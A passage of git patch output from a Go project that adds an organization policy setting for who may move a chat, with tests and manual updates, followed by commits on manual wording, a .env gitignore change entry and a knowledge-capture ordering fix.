the spend row has an `asker` that is approximate (whoever last sent a message, steered or answered through the server)." - "A bot could not use hosted chats. It now starts, lists, opens, stops and deletes them as the person who made it, holds what that person holds on each chat right now narrowed by its scope, and loses a chat on its next request when that person loses it; a bot still cannot touch stored keys or the git door. A chat a bot starts belongs to its creator and is recorded as made by the bot." - "The organization's policy had no say about where chats run. It has an additive `hosting` section: `local_sessions` (allow, warn or refuse; empty means refuse when the organization runs a chat host and allow when it does not) and `max_session_cost_usd` (a positive value replaces CODEAF_HOSTED_SESSION_CAP_USD). `GET /v1/hosted/sessions` reports the effective value with plain words that point at switching to the personal account. No client acts on `local_sessions` yet: `codeaf` on a computer still starts local chats." From 3da2eac230ace004372aea7d330bff18b551021c Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:29:01 -0500 Subject: [PATCH 112/176] org: who may move a chat is an organization policy setting, owner only by default Moving a chat was hard-coded to its owner (CodeAF #2890). Abir's call on 2026-11-24 was "owner-only move (configurable)", so the rule is now a policy setting, `chats.move_by`, beside `hosting`: - `owner` (also what an absent or empty value means): only the person who owns the chat moves it, and still needs manage on it. A policy stored before the field existed reads this way, and the default policy's JSON does not change, so behaviour and the refusal sentence are as they were. - `manage`: anyone who holds the manage verb on the chat can move it, which under the starting roles is whoever it is shared with at `full`. `edit` still cannot, a bot never can, and the chat stays its owner's. One guard comes with the opt-in: a person who is not the owner can move the chat into a workstream they can edit, never into their own My space, because the chat would then leave the place its owner keeps it and every grant on it would be dropped. Under the default that case cannot arise. The setting accepts only its two words (422 otherwise). The manual's sharing page has a section on it, with probes; deploy/org/README.md's policy reference and the app protocol's policy shape list the field. Tests: TestChatMoveRuleIsOwnerOnlyUntilTheOrganizationChangesIt, TestChatMoveRuleTakesOnlyItsTwoWords (acl), TestOrgPolicyStoredWithoutChatRulesReadsAsOwnerOnlyMove (store), TestChatMoveDefaultPolicyRefusesAManageHolder, TestChatMoveManagePolicyLetsAManageHolderMoveButNotAnEditHolder, TestChatMoveManagePolicyKeepsAnotherPersonsChatOutOfTheMoversSpace, TestChatMoveRuleTurnsBackToOwnerOnly and TestChatMoveRuleIsTheOperatorsToSetAndTakesTwoWords (serve). Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 7 + docs/design/app-v3/PROTOCOL.md | 3 +- internal/factory/acl/chats_test.go | 93 ++++++++++++ internal/factory/acl/policy.go | 31 ++++ internal/factory/serve/access_move_chat.go | 33 ++++- .../serve/access_move_chat_policy_test.go | 132 ++++++++++++++++++ internal/factory/store/policy_test.go | 39 ++++++ internal/manual/chat/organization-sharing.md | 10 +- internal/manual/chat_test.go | 2 + 9 files changed, 346 insertions(+), 4 deletions(-) create mode 100644 internal/factory/acl/chats_test.go create mode 100644 internal/factory/serve/access_move_chat_policy_test.go diff --git a/deploy/org/README.md b/deploy/org/README.md index fdaeec8db2..7dab069e1c 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -277,6 +277,13 @@ right to a private chat than anyone else (the policy's `operator.sees_private` i `a bot cannot use this yet`): it makes, lists, opens, stops and deletes exactly what its creator may, narrowed by its scope, decided again at every request. A bot's chat is owned by the person who made the bot, and `created_by` records the bot, as for any other thing a bot makes. +- **Who may move a chat.** `PUT /v1/org/policy` takes `"chats": {"move_by": "owner"}` or `"chats": {"move_by": "manage"}`. Absent or + empty means `owner`: only the person who owns a chat moves it, which is what the server always did, and a policy stored before the + field existed reads that way. `manage` lets anyone who holds the `manage` verb on the chat move it, so a person it is shared with at + `full`; `edit` still cannot and a bot never can, and a person who is not the owner can move it into a workstream they can edit, never + into their own My space. The refusals read `Only the person who owns this chat can move it, and they need permission to manage it.` + (the default) and `Only the person who owns this chat, or someone with permission to manage it, can move it.` Any other word is + refused with a 422. - **The hosting policy.** `PUT /v1/org/policy` takes `"hosting": {"local_sessions": "allow|warn|refuse", "max_session_cost_usd": 0}`. Empty `local_sessions` means `refuse` for an organization that has chats' machine and `allow` for one that does not; the list reports the value that applies, with `words` to show for `refuse` (that diff --git a/docs/design/app-v3/PROTOCOL.md b/docs/design/app-v3/PROTOCOL.md index 5555555800..7738473254 100644 --- a/docs/design/app-v3/PROTOCOL.md +++ b/docs/design/app-v3/PROTOCOL.md @@ -1159,7 +1159,8 @@ An engine whose hello carries `org_access` serves an organization's access polic grants on its things. `factory.org_policy` `GET /v1/org/policy` answers the policy to any member: `{rev, roles: [{name, verbs}], owner_role, org_role, defaults: {: {visibility}}, sharing: {who}, operator: {role, sees_private, may_govern}, agents: {may_create, may_share, -may_grant, default_scope, scopes?}}`, and the default policy when none was ever saved, which +may_grant, default_scope, scopes?}, chats?: {move_by}}` (`chats` is present only when set, and +`move_by` is `owner`, the default, or `manage`: who may move a chat), and the default policy when none was ever saved, which is how the server behaved before policies existed. A role is a named bundle of verbs from a closed list (`view`, `comment`, `edit`, `run`, `steer`, `answer`, `share`, `manage`), every role holds `view`, and the four names `view`, `comment`, `edit` and `full` are kept. Only diff --git a/internal/factory/acl/chats_test.go b/internal/factory/acl/chats_test.go new file mode 100644 index 0000000000..24d4e181a1 --- /dev/null +++ b/internal/factory/acl/chats_test.go @@ -0,0 +1,93 @@ +package acl + +import ( + "encoding/json" + "errors" + "strings" + "testing" +) + +// organizationPolicyBeforeChatRules is a policy document as an organization stored it before the policy had a `chats` +// section: the four starting roles and every section that existed then. +const organizationPolicyBeforeChatRules = `{ + "rev": 4, + "roles": [ + {"name": "view", "verbs": ["view"]}, + {"name": "comment", "verbs": ["view", "comment"]}, + {"name": "edit", "verbs": ["view", "comment", "edit", "run", "steer", "answer"]}, + {"name": "full", "verbs": ["view", "comment", "edit", "run", "steer", "answer", "share", "manage"]} + ], + "owner_role": "full", + "org_role": "view", + "defaults": {"chat": {"visibility": "private"}}, + "sharing": {"who": "share_verb"}, + "operator": {"role": "view", "sees_private": false, "may_govern": true}, + "agents": {"may_create": true, "may_share": false, "may_grant": false, "default_scope": "full"} +}` + +// Contract: who may move a chat is a policy setting, and the owner alone is the default. +// A policy document that has no `chats` section, whether the default policy or one stored before the section existed, +// reads as owner-only, is still valid, and writes back without the section. +func TestChatMoveRuleIsOwnerOnlyUntilTheOrganizationChangesIt(t *testing.T) { + data, err := json.Marshal(DefaultPolicy()) + if err != nil { + t.Fatal(err) + } + if strings.Contains(string(data), `"chats"`) { + t.Fatalf("the default policy now carries a chats section: %s", data) + } + if got := DefaultPolicy().Chats.MoveByFor(); got != MoveByOwner { + t.Fatalf("default policy: who moves a chat = %q, want %q", got, MoveByOwner) + } + + var old Policy + if err := json.Unmarshal([]byte(organizationPolicyBeforeChatRules), &old); err != nil { + t.Fatal(err) + } + if got := old.Chats.MoveByFor(); got != MoveByOwner { + t.Fatalf("a policy stored before the rule existed: who moves a chat = %q, want %q", got, MoveByOwner) + } + if err := old.Validate(Policy{}, nil); err != nil { + t.Fatalf("a policy stored before the rule existed is no longer valid: %v", err) + } + again, err := json.Marshal(old) + if err != nil { + t.Fatal(err) + } + if strings.Contains(string(again), `"chats"`) { + t.Fatalf("saving an old policy again adds a chats section: %s", again) + } +} + +// Contract: the setting takes two words, `owner` and `manage`, and refuses any other. +func TestChatMoveRuleTakesOnlyItsTwoWords(t *testing.T) { + for _, tc := range []struct{ set, want string }{ + {"", MoveByOwner}, {"owner", MoveByOwner}, {"manage", MoveByManage}, + } { + p := DefaultPolicy() + p.Chats = Chats{MoveBy: tc.set} + if err := p.Validate(Policy{}, nil); err != nil { + t.Fatalf("%q is refused: %v", tc.set, err) + } + if got := p.Chats.MoveByFor(); got != tc.want { + t.Errorf("%q resolves to %q, want %q", tc.set, got, tc.want) + } + } + p := DefaultPolicy() + var validation *ValidationError + for _, word := range []string{"anyone", "edit", "Manage", "share"} { + p.Chats = Chats{MoveBy: word} + err := p.Validate(Policy{}, nil) + if !errors.As(err, &validation) || err.Error() != "who may move a chat must be the owner or people with manage permission" { + t.Errorf("%q: %v", word, err) + } + } + p.Chats = Chats{MoveBy: MoveByManage} + data, err := json.Marshal(p) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(data), `"chats":{"move_by":"manage"}`) { + t.Fatalf("the setting is not written under chats.move_by: %s", data) + } +} diff --git a/internal/factory/acl/policy.go b/internal/factory/acl/policy.go index 9824d83183..bef4fecd89 100644 --- a/internal/factory/acl/policy.go +++ b/internal/factory/acl/policy.go @@ -123,6 +123,31 @@ func (h Hosting) Words(hasChatHost bool) string { } } +// Chats holds the organization's rules for the chats its people keep. There is one so far: who may move a chat to another +// workstream or into My space. +type Chats struct { + // MoveBy is MoveByOwner or MoveByManage. Empty means MoveByOwner, so a policy stored before this field existed, and + // a policy that never mentions it, keep the rule the server always had. + MoveBy string `json:"move_by,omitempty"` +} + +const ( + // MoveByOwner lets only the person who owns a chat move it, as long as they still hold manage on it. It is the + // default, and what the server did before the rule was a setting. + MoveByOwner = "owner" + // MoveByManage lets anyone who holds the manage verb on a chat move it, its owner included. Under the starting + // roles that is whoever the chat is shared with at `full`. + MoveByManage = "manage" +) + +// MoveByFor is the rule that applies, with an empty setting read as the default. +func (c Chats) MoveByFor() string { + if c.MoveBy == "" { + return MoveByOwner + } + return c.MoveBy +} + // Policy is the organization's access document: the roles, what each kind of // resource starts as, who may share, what the operator and agents may do. It // is stored as one row with a revision and changes only through a PUT by the @@ -139,6 +164,7 @@ type Policy struct { Operator Operator `json:"operator"` Agents Agents `json:"agents"` Hosting Hosting `json:"hosting,omitzero"` + Chats Chats `json:"chats,omitzero"` } // legacyRoles are the four names old shares and clients already use, so a @@ -256,6 +282,11 @@ func (p Policy) Validate(prev Policy, inUse func(role string) bool) error { default: return invalid("hosting local sessions must be allow, warn or refuse") } + switch p.Chats.MoveBy { + case "", MoveByOwner, MoveByManage: + default: + return invalid("who may move a chat must be the owner or people with manage permission") + } if cost := p.Hosting.MaxSessionCostUSD; math.IsNaN(cost) || cost < 0 || cost > 1_000_000 { return invalid("hosting chat cost must be between 0 and 1,000,000 dollars") } diff --git a/internal/factory/serve/access_move_chat.go b/internal/factory/serve/access_move_chat.go index 5ff44b52c1..8aead94b50 100644 --- a/internal/factory/serve/access_move_chat.go +++ b/internal/factory/serve/access_move_chat.go @@ -19,6 +19,15 @@ const chatKind = "chat" const chatMoveBusy = "stop it or wait for it to finish, then move it" +// The sentences that refuse a move for want of the right to make it. The first is what every organization has always +// read, and it is still what one that has not changed the rule reads; the second is for an organization whose policy +// lets people with manage move a chat (acl.MoveByManage), where "only the owner" would be untrue. +const ( + chatMoveOwnerOnlyWords = "Only the person who owns this chat can move it, and they need permission to manage it." + chatMoveManageWords = "Only the person who owns this chat, or someone with permission to manage it, can move it." + chatMoveOwnSpaceWords = "Only the person who owns this chat can move it into their My space." +) + type chatMoveRefusal struct { status int words string @@ -72,8 +81,12 @@ func (h *Handler) moveChat(move store.ResourceMove, v Viewer, id, to string) (ou if !found || !can(v, item, acl.VerbView) { return out, audience, chatMoveRefusal{http.StatusNotFound, "resource not found"} } - if v.Agent != nil || !v.owns(item) || !can(v, item, acl.VerbManage) { - return out, audience, chatMoveRefusal{http.StatusForbidden, "Only the person who owns this chat can move it, and they need permission to manage it."} + if v.Agent != nil || !mayMoveChat(v, item) { + words := chatMoveOwnerOnlyWords + if v.acc.rules().Chats.MoveByFor() == acl.MoveByManage { + words = chatMoveManageWords + } + return out, audience, chatMoveRefusal{http.StatusForbidden, words} } if row.Parent.ID == to { return out, audience, chatMoveRefusal{http.StatusConflict, "it is already there"} @@ -82,6 +95,12 @@ func (h *Handler) moveChat(move store.ResourceMove, v Viewer, id, to string) (ou if err != nil { return out, audience, err } + // A My space is its person's own. Where the policy lets someone with manage move another person's chat, the only + // My space they can name is their own, and a chat that is not theirs does not go into it: it would leave its owner's + // workstream for a place its owner does not keep, with every grant on it dropped. + if dest.Space && !v.owns(item) { + return out, audience, chatMoveRefusal{http.StatusForbidden, chatMoveOwnSpaceWords} + } h.agentDesk.mu.Lock() defer h.agentDesk.mu.Unlock() @@ -139,6 +158,16 @@ func (h *Handler) moveChat(move store.ResourceMove, v Viewer, id, to string) (ou return out, acl.Union(before, v.acc.audienceOf(res.item)), nil } +// mayMoveChat is the organization's rule for who moves a chat. Moving always needs manage on the chat. By default the +// person must also own it, which is what the server did before the rule was a setting; with acl.MoveByManage, manage is +// enough. A bot is refused before this is asked, and a policy never lets one move a chat. +func mayMoveChat(v Viewer, item Item) bool { + if !can(v, item, acl.VerbManage) { + return false + } + return v.owns(item) || v.acc.rules().Chats.MoveByFor() == acl.MoveByManage +} + func (h *Handler) chatMoveDestination(v Viewer, id string) (factory.OrgWorkstream, error) { ws, found, err := h.config.Store.Workstream(id) if err != nil { diff --git a/internal/factory/serve/access_move_chat_policy_test.go b/internal/factory/serve/access_move_chat_policy_test.go new file mode 100644 index 0000000000..16cf68a756 --- /dev/null +++ b/internal/factory/serve/access_move_chat_policy_test.go @@ -0,0 +1,132 @@ +package serve + +import ( + "net/http" + "testing" + + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/factory/api" +) + +// chatMoveFixture is santosh's chat in a workstream of his, shared with abir at `full` and with mia at `edit`, and a +// workstream of abir's that abir can edit to move it into. +type chatMoveFixture struct { + o *wsOrg + chat api.AgentChat + to string + path string +} + +func newChatMoveFixture(t *testing.T) chatMoveFixture { + t.Helper() + o := newWSOrg(t) + from := o.create(t, "santosh", api.WorkstreamNew{Name: "Original"}).ID + to := o.create(t, "abir", api.WorkstreamNew{Name: "Destination"}).ID + chat := contractChat(t, o, from, "") + path := "/v1/resources/chat/" + chat.ID + o.do(t, "santosh", "POST", path+"/grants", -1, personGrant("abir", "full"), 201, nil) + o.do(t, "santosh", "POST", path+"/grants", -1, personGrant("mia", "edit"), 201, nil) + return chatMoveFixture{o: o, chat: chat, to: to, path: path} +} + +// refusedMove asks for the move as who and returns the sentence it was refused with. +func (f chatMoveFixture) refusedMove(t *testing.T, who, to string) string { + t.Helper() + w := f.o.raw(t, who, "POST", f.path+"/move", api.ResourceMove{To: to}) + if w.Code != http.StatusForbidden { + t.Fatalf("%s moving the chat: %d %s, want 403", who, w.Code, w.Body) + } + return errorOf(t, w.Body.Bytes()) +} + +// Contract: with the default policy, only the owner moves a chat. A person who holds `manage` on it, as the `full` role +// does, is refused, and reads today's sentence word for word. +func TestChatMoveDefaultPolicyRefusesAManageHolder(t *testing.T) { + f := newChatMoveFixture(t) + const today = "Only the person who owns this chat can move it, and they need permission to manage it." + if got := f.refusedMove(t, "abir", f.to); got != today { + t.Fatalf("a manage holder under the default policy reads %q, want %q", got, today) + } + if got := f.refusedMove(t, "mia", f.to); got != today { + t.Fatalf("an edit holder under the default policy reads %q, want %q", got, today) + } + // Saying `owner` out loud is the same as saying nothing. + f.o.setAccessPolicy(t, func(p *acl.Policy) { p.Chats.MoveBy = acl.MoveByOwner }) + if got := f.refusedMove(t, "abir", f.to); got != today { + t.Fatalf("a manage holder under move_by owner reads %q, want %q", got, today) + } + var moved api.ResourceMoved + contractMove(t, f.o, "santosh", f.chat.ID, contractSpace(t, f.o, "santosh"), http.StatusOK, &moved) + if moved.Resource.Owner.ID != "santosh" { + t.Fatalf("the owner's move: %+v", moved) + } +} + +// Contract: when the organization's policy lets people with `manage` move a chat, a person who holds `manage` on it can +// move it, and a person who holds only `edit` still cannot. The chat stays its owner's. +func TestChatMoveManagePolicyLetsAManageHolderMoveButNotAnEditHolder(t *testing.T) { + f := newChatMoveFixture(t) + f.o.setAccessPolicy(t, func(p *acl.Policy) { p.Chats.MoveBy = acl.MoveByManage }) + + const words = "Only the person who owns this chat, or someone with permission to manage it, can move it." + if got := f.refusedMove(t, "mia", f.to); got != words { + t.Fatalf("an edit holder under move_by manage reads %q, want %q", got, words) + } + accessAgentRequest(t, f.o, "POST", f.path+"/move", "abir", "afi", api.ResourceMove{To: f.to}, http.StatusForbidden, nil) + + var moved api.ResourceMoved + contractMove(t, f.o, "abir", f.chat.ID, f.to, http.StatusOK, &moved) + if moved.Resource.Parent == nil || moved.Resource.Parent.ID != f.to || moved.Resource.Owner.ID != "santosh" { + t.Fatalf("a manage holder's move: %+v", moved) + } + // The chat is where the manage holder put it, and still belongs to its owner, who can still see it there. + var seen api.OrgResource + f.o.do(t, "santosh", "GET", f.path, -1, nil, http.StatusOK, &seen) + if seen.Parent == nil || seen.Parent.ID != f.to || seen.Owner.ID != "santosh" { + t.Fatalf("the owner reads %+v after the move", seen) + } +} + +// Contract: even where a manage holder may move a chat, another person's chat never goes into the mover's own My space, +// and the owner's own moves are unchanged. +func TestChatMoveManagePolicyKeepsAnotherPersonsChatOutOfTheMoversSpace(t *testing.T) { + f := newChatMoveFixture(t) + f.o.setAccessPolicy(t, func(p *acl.Policy) { p.Chats.MoveBy = acl.MoveByManage }) + + const words = "Only the person who owns this chat can move it into their My space." + if got := f.refusedMove(t, "abir", contractSpace(t, f.o, "abir")); got != words { + t.Fatalf("a manage holder moving the chat into their My space reads %q, want %q", got, words) + } + var moved api.ResourceMoved + contractMove(t, f.o, "santosh", f.chat.ID, contractSpace(t, f.o, "santosh"), http.StatusOK, &moved) + if moved.Resource.Owner.ID != "santosh" || moved.Resource.Visibility != acl.Private { + t.Fatalf("the owner's move into My space: %+v", moved) + } +} + +// Contract: the rule can be turned back. Once the policy says `owner` again, a manage holder is refused as before. +func TestChatMoveRuleTurnsBackToOwnerOnly(t *testing.T) { + f := newChatMoveFixture(t) + f.o.setAccessPolicy(t, func(p *acl.Policy) { p.Chats.MoveBy = acl.MoveByManage }) + f.o.setAccessPolicy(t, func(p *acl.Policy) { p.Chats = acl.Chats{} }) + var saved acl.Policy + f.o.do(t, "mia", "GET", policyPath, -1, nil, http.StatusOK, &saved) + if saved.Chats.MoveByFor() != acl.MoveByOwner { + t.Fatalf("the saved policy says %q", saved.Chats.MoveByFor()) + } + const today = "Only the person who owns this chat can move it, and they need permission to manage it." + if got := f.refusedMove(t, "abir", f.to); got != today { + t.Fatalf("after turning the rule back a manage holder reads %q", got) + } +} + +// Contract: only the operator sets the rule, and it takes only its two words. +func TestChatMoveRuleIsTheOperatorsToSetAndTakesTwoWords(t *testing.T) { + o := newWSOrg(t) + var p acl.Policy + o.do(t, "mia", "GET", policyPath, -1, nil, http.StatusOK, &p) + p.Chats.MoveBy = acl.MoveByManage + o.do(t, "mia", "PUT", policyPath, p.Rev, p, http.StatusForbidden, nil) + p.Chats.MoveBy = "anyone" + o.do(t, "owner", "PUT", policyPath, p.Rev, p, http.StatusUnprocessableEntity, nil) +} diff --git a/internal/factory/store/policy_test.go b/internal/factory/store/policy_test.go index 676116084f..def905e9cb 100644 --- a/internal/factory/store/policy_test.go +++ b/internal/factory/store/policy_test.go @@ -82,3 +82,42 @@ func TestOrgPolicyRejectsRemovingRolesInUse(t *testing.T) { t.Fatalf("removing an in-use role = %v", err) } } + +// Contract: who may move a chat is owner-only until the organization says otherwise. A policy document stored before the +// policy had a `chats` section reads as owner-only; one that sets the rule reads as set; and a stored word that is not one +// of the two is not trusted, so the default applies. +func TestOrgPolicyStoredWithoutChatRulesReadsAsOwnerOnlyMove(t *testing.T) { + const roles = `"roles":[{"name":"view","verbs":["view"]},{"name":"comment","verbs":["view","comment"]},` + + `{"name":"edit","verbs":["view","comment","edit","run","steer","answer"]},` + + `{"name":"full","verbs":["view","comment","edit","run","steer","answer","share","manage"]}],` + + `"owner_role":"full","org_role":"view","defaults":{"chat":{"visibility":"private"}},"sharing":{"who":"share_verb"},` + + `"operator":{"role":"view","may_govern":true},"agents":{"may_create":true,"default_scope":"full"}` + st, err := Open(t.TempDir()) + if err != nil { + t.Fatal(err) + } + if _, err := st.SavePolicy(acl.DefaultPolicy(), 0); err != nil { + t.Fatal(err) + } + db, err := st.wsDB(false) + if err != nil { + t.Fatal(err) + } + for i, tc := range []struct{ name, doc, want string }{ + {"stored before the section existed", `{` + roles + `}`, acl.MoveByOwner}, + {"set to manage", `{` + roles + `,"chats":{"move_by":"manage"}}`, acl.MoveByManage}, + {"set to owner", `{` + roles + `,"chats":{"move_by":"owner"}}`, acl.MoveByOwner}, + {"set to a word nobody defined", `{` + roles + `,"chats":{"move_by":"anyone"}}`, acl.MoveByOwner}, + } { + if _, err := db.Exec(`UPDATE org_policy SET doc = ?, rev = ?`, tc.doc, 10+i); err != nil { + t.Fatal(err) + } + got, err := st.OrgPolicy() + if err != nil { + t.Fatalf("%s: %v", tc.name, err) + } + if got.Rev != 10+i || got.Chats.MoveByFor() != tc.want { + t.Errorf("%s: revision %d, who moves a chat = %q, want %q", tc.name, got.Rev, got.Chats.MoveByFor(), tc.want) + } + } +} diff --git a/internal/manual/chat/organization-sharing.md b/internal/manual/chat/organization-sharing.md index d9ab0ccee1..bd75577a74 100644 --- a/internal/manual/chat/organization-sharing.md +++ b/internal/manual/chat/organization-sharing.md @@ -37,7 +37,7 @@ What a bot makes belongs to its creator: a chat, a task or a file it creates is ## Who sets the sharing rules — the operator's organization policy -The operator holds the organization's **policy**: which roles exist and the verbs in each, whether new chats start private, shared with the owner's workstream, or visible to every member, who may share (anyone holding share, or only the owner), and what agents may do. Everyone in the organization can read the policy; only the operator can change it, and a stale edit is refused with "412" so two edits never overwrite each other. +The operator holds the organization's **policy**: which roles exist and the verbs in each, whether new chats start private, shared with the owner's workstream, or visible to every member, who may share (anyone holding share, or only the owner), who may move a chat (only its owner, or anyone holding manage on it), and what agents may do. Everyone in the organization can read the policy; only the operator can change it, and a stale edit is refused with "412" so two edits never overwrite each other. An organization starts on the default policy, which behaves as the server always did: the four roles above, chats private, the operator seeing what is not private and nothing that is. A role can be added or its bundle changed, and the four starting names can never be removed or renamed, because old shares and clients use them. A change to the policy changes who can see things, so every person who gains or loses access to something hears about it at once. A policy that makes new chats visible to every member applies to chats made after the change only; it never opens an existing chat. @@ -55,6 +55,14 @@ Only the person whose chat it is can move it, to a workstream they can edit or t Pages and files do not move this way: they keep **Move to workstream…** (see "Moving a document from My space into a workstream"). Afi's pane and a task's working conversation belong to their workstream and cannot be moved. +## Who may move a chat — the owner by default, and the policy setting that lets people with manage do it too + +By default only the person whose chat it is can move it, and they need permission to manage it. Someone a chat is shared with cannot move it, whatever role they hold, and a bot never can. They read "Only the person who owns this chat can move it, and they need permission to manage it." + +The operator can change that in the organization's policy. `PUT /v1/org/policy` takes `"chats": {"move_by": "owner"}`, which is the default and what an organization with no setting has, or `"chats": {"move_by": "manage"}`. With `manage`, anyone who holds the manage permission on the chat can move it. Under the starting roles that is a person it is shared with at `full`; a person with `edit` still cannot, and reads "Only the person who owns this chat, or someone with permission to manage it, can move it." Any other word is refused when the policy is saved. + +The chat stays its owner's wherever it goes. Someone who is not the owner can move it into a workstream they can edit, and never into their own My space: "Only the person who owns this chat can move it into their My space." Nothing else about a move changes: a chat that is answering a message still cannot move, a destination the person cannot edit is still refused, and everyone who could see the chat before or after is told once. The desktop app has no screen for this setting yet; the operator changes it through the policy. + ## A share that runs out — give someone access until a date, what happens when it ends, and who hears about it A grant can end on a date. From that moment it grants nothing, whether or not anything has noticed. The organization's server also checks for grants that ran out, at the next end date and at least once a minute, and tells the people who lost access, so their list drops the thing without a refresh; it tells nobody else, and tells each thing once. A grant that ran out while the server was off is announced the next time it starts. A grant is refused when its end date is not in the future ("an expiry must be later than now"). The record of an ended grant stays; it simply shows as ended. diff --git a/internal/manual/chat_test.go b/internal/manual/chat_test.go index e71db8bc3e..084596a0c3 100644 --- a/internal/manual/chat_test.go +++ b/internal/manual/chat_test.go @@ -3967,6 +3967,8 @@ func TestTheChatManualAnswersTheQuestionsPeopleAsk(t *testing.T) { {"is moving a chat the same as sharing it", "organization-sharing"}, {"move my chat from my space into a workstream", "organization-sharing"}, {"why can't I move a chat that is answering me", "organization-sharing"}, + {"can someone I shared my chat with move it to another workstream", "organization-sharing"}, + {"how do I let people with manage permission move chats in the organization policy", "organization-sharing"}, {"can I give someone access until a date, and what happens when it ends", "organization-sharing"}, {"can I share my Afi pane with someone in the organization", "organization-sharing"}, {"what is a grant on a workstream and who may add one", "organization-sharing"}, From 55fa1820d9f02b3b9c3ceb127851500413a4029b Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:34:36 -0500 Subject: [PATCH 113/176] manual: keep the worker law green on the organization pages The worker law bans the swe worker from every manual page, and its pattern (\bswe\b) cannot tell the AgentField reasoner swe-planner or the SWE-AF agent from the removed worker. factory-agentfield.md goes back to the base spelling of the two example targets (planner.build_issue), and organization-start.md describes the Compose stack's agents by what they do instead of by name. Co-Authored-By: Claude Sonnet 5.5 --- internal/manual/chat/factory-agentfield.md | 4 ++-- internal/manual/chat/organization-start.md | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/internal/manual/chat/factory-agentfield.md b/internal/manual/chat/factory-agentfield.md index 77b8995d38..86914d63cc 100644 --- a/internal/manual/chat/factory-agentfield.md +++ b/internal/manual/chat/factory-agentfield.md @@ -479,7 +479,7 @@ steps: build: label: Build on AgentField kind: agentfield - target: swe-planner.build_issue + target: planner.build_issue input: title: "{title}" body: "{body}" @@ -521,7 +521,7 @@ pipeline: steps: build: kind: agentfield - target: swe-planner.build_issue + target: planner.build_issue input: title: "{title}" repo_url: "{repo_url}" diff --git a/internal/manual/chat/organization-start.md b/internal/manual/chat/organization-start.md index e50990b58a..8d0d3fde5e 100644 --- a/internal/manual/chat/organization-start.md +++ b/internal/manual/chat/organization-start.md @@ -64,6 +64,6 @@ After that the organization has its own window: switch to it with the switcher, ## host an organization for my team — Docker Compose, Railway, and where the operator's guide is -An organization is a server someone runs, and the public repository has everything to run one yourself. `deploy/org/` holds one Docker Compose file that starts the organization server, the AgentField control plane, SWE-AF and PR-AF, plus an optional machine for hosted chats. `docs/organizations.md` says what an organization is, what runs where and who can see what, with a ten-minute path from nothing to a first hosted chat, and `deploy/org/README.md` is the operator's walkthrough: HTTPS, backups, upgrades, the published images and Railway. +An organization is a server someone runs, and the public repository has everything to run one yourself. `deploy/org/` holds one Docker Compose file that starts the organization server, the AgentField control plane and the two agents that build an issue into a pull request and review one, plus an optional machine for hosted chats. `docs/organizations.md` says what an organization is, what runs where and who can see what, with a ten-minute path from nothing to a first hosted chat, and `deploy/org/README.md` is the operator's walkthrough: HTTPS, backups, upgrades, the published images and Railway. In short: `./setup.sh` writes `.env` with fresh secrets, `docker compose up -d` starts everything, and `./operator-link.sh` prints the operator link. That link is a secret and works once; whoever opens it first becomes the operator, who then invites people from People. Anyone connecting from another computer needs HTTPS in front of the server. The same Dockerfiles run on Railway as separate services in one project, hosted chats' machine included, when set up by hand; the draft Railway template made from the published images does not carry that machine yet. From 0c25d477dfd18e7d421edb511079827b6153d81a Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:34:43 -0500 Subject: [PATCH 114/176] change entry 2910: the four org gaps, as what was believed and what is true now Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2910-org-gaps.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 docs/changes/unreleased/2910-org-gaps.md diff --git a/docs/changes/unreleased/2910-org-gaps.md b/docs/changes/unreleased/2910-org-gaps.md new file mode 100644 index 0000000000..05c2d2f66b --- /dev/null +++ b/docs/changes/unreleased/2910-org-gaps.md @@ -0,0 +1,14 @@ +--- +kind: changed +title: Organization stack gaps closed, with .env kept out of git and Compose building codeaf from source +pr: 2910 +surface: [build, factory, docs, chat] +invalidates: + - "`deploy/org/.env`, which `./setup.sh` fills with the AgentField key, the organization token, the hosted-chats secret, the server key and the model keys, was described as ignored by git, but no ignore rule named it, so a `git add` of the folder would have committed every secret in it. Now `deploy/org/.gitignore` ignores `.env` and any other `.env.*` copy, and `.env.example`, `.env.stub` and `.env.stub.hosted` stay tracked. The image builds already left the file out." + - "A plain `docker compose up --build` fetched the pinned release for the codeaf image, because `CODEAF_BINARY_FROM` defaulted to `fetch`, and that release has no `codeaf sessionhost`, so the stack could not run hosted chats. Now the `codeaf`, `runner` and `sessionhost` services build codeaf from this checkout by default (`CODEAF_BINARY_FROM=source`, with the repository root as the build context), the first build compiles it and takes several minutes, and `CODEAF_BINARY_FROM=fetch` is opt-in until a release ships the sessionhost. `compose.yaml` names the check that says when the default can go back: the pinned release's `codeaf sessionhost --help`." + - "Only a chat's owner could move it, and no setting could change that. Now the organization's policy has `chats.move_by`: `owner`, which an absent value also means and which is the behaviour and the refusal sentence from before, or `manage`, which lets anyone who holds the manage permission on the chat, such as a person it is shared with at `full`, move it. An `edit` holder and a bot still cannot, and a person who is not the owner can never move the chat into their own My space." + - "The entry for #2900 said stopping a hosted chat stays the owner's whatever the role. The code lets the owner and anyone holding the manage permission, which the `full` role does, stop or delete a hosted chat; approving a command, settings and files are what stay the owner's on the chat's wire. The entry now says so, and the code is unchanged." +--- + +Each of these was a gap between what the owner decided and what the code did. The move rule keeps today's default, so an +organization that changes nothing sees no difference. From b2429247a32e2e287ca4da8e4e6ceb7ad6a24f98 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:42:01 -0500 Subject: [PATCH 115/176] knowledge: the opt-in writes its record before the switch, so a scan between them admits nothing TestKnowledgeCapturesSavedTurnsOnlyAfterOptIn failed on the full suite with "wanted two completed sources, got Phase:building ... Pending:4": the turn written before the opt-in had been captured as well as the one after it. StartBuild is two writes, the profile switch and the vault's record of when Memory began. It wrote the switch first. The capture scanner looks on its own clock, a second after the chat's last write, and a look between the two found Memory on with no record, which consent reads as on since the beginning of time; it admitted every turn the chat had already finished. On a slow machine the scanner's look lands in that gap often enough to show. The code is the same on dev, so it is not the org line's. The record now commits first and the switch second. A look in between finds Memory off, and a look after finds the record and its time. A 